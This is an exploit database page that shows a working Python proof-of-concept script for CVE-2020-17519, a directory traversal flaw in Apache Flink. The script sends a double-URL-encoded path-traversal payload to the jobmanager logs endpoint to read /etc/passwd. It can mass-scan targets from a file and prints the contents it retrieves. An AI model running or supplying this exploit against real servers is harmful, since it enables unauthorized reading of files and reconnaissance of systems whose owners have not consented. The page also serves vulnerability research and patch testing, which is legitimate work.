Exploit database

GH-6419ede52d94587fe8279bea11b8c9a9

yaunsky/cve-2020-17519-apache-flink

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-17519

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
yaunsky/cve-2020-17519-apache-flinkRevision 742c846ee106

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2020-17519.py

Python · 2,686 bytes
# by: YaunSky
# github:https://github.com/yaunsky
# CVE-2020-17519-Apache-Flink任意文件读取

import requests
import sys
import click

banner ='''\033[1;33;40m
  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''

header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}


def scan(target):
    pyaload = "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    poc = str(target) + pyaload
    try:
        requests.packages.urllib3.disable_warnings()
        rep = requests.get(url=poc, headers=header, timeout=5, verify=False)
        if rep.status_code ==200 and "root" in rep.text:
            print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(target))
            print(rep.text)
        else:
            print('\033[1;32;40m[-]{} None'.format(target))
    except:
        print("error")
def scan2(file):
    pyaload = "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    f = open(file, 'r')
    for url in f.readlines():
        poc = url.strip() + pyaload
        try:
            requests.packages.urllib3.disable_warnings()
            rep = requests.get(url=poc, headers=header, timeout=10, verify=False)
            if rep.status_code ==200 and "root" in rep.text:
                print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(url.strip()))
            else:
                print('\033[1;32;40m[-]{} None'.format(url.strip()))
        except:
            print("error")
    f.close()

@click.command()
@click.option("-u", "--url", help='Target URL; Example:http://ip:port。')
@click.option("-f", "--file", help="Target File; Example:target.txt。")
def main(url, file):
    print(banner)
    if url != None and file == None:
        scan(url)
    elif file != None and url == None:
        scan2(file)
    else:
        print("python3 CVE-2020-17519 --help")

if __name__ == "__main__":
    main()